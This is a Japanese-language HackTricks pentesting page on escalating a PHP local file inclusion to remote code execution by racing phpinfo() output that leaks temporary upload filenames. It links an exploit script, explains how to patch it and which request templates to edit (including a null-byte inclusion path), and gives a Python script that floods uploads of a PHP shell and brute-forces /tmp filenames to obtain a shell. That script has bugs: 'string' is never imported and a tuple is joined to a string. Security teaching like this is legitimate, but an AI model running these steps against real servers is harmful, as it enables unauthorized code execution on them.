hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

56 lines
3.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../banners/hacktricks-training.md}}
この脆弱性を悪用するには、次のものが必要です: **LFI脆弱性、phpinfo()が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができること。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
あなたは、エクスプロイトの最初にある**payload**も変更する必要があります例えば、php-rev-shell用、**REQ1**これはphpinfoページを指し、パディングが含まれている必要があります、すなわち_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_)、および**LFIREQ**これはLFI脆弱性を指す必要があります、すなわち_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ null charを悪用する際のダブル"%"に注意してください)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 理論
PHPでアップロードが許可されている場合、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測し、そのファイルにアクセスしてRCEを悪用することができます。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
{{#include ../../banners/hacktricks-training.md}}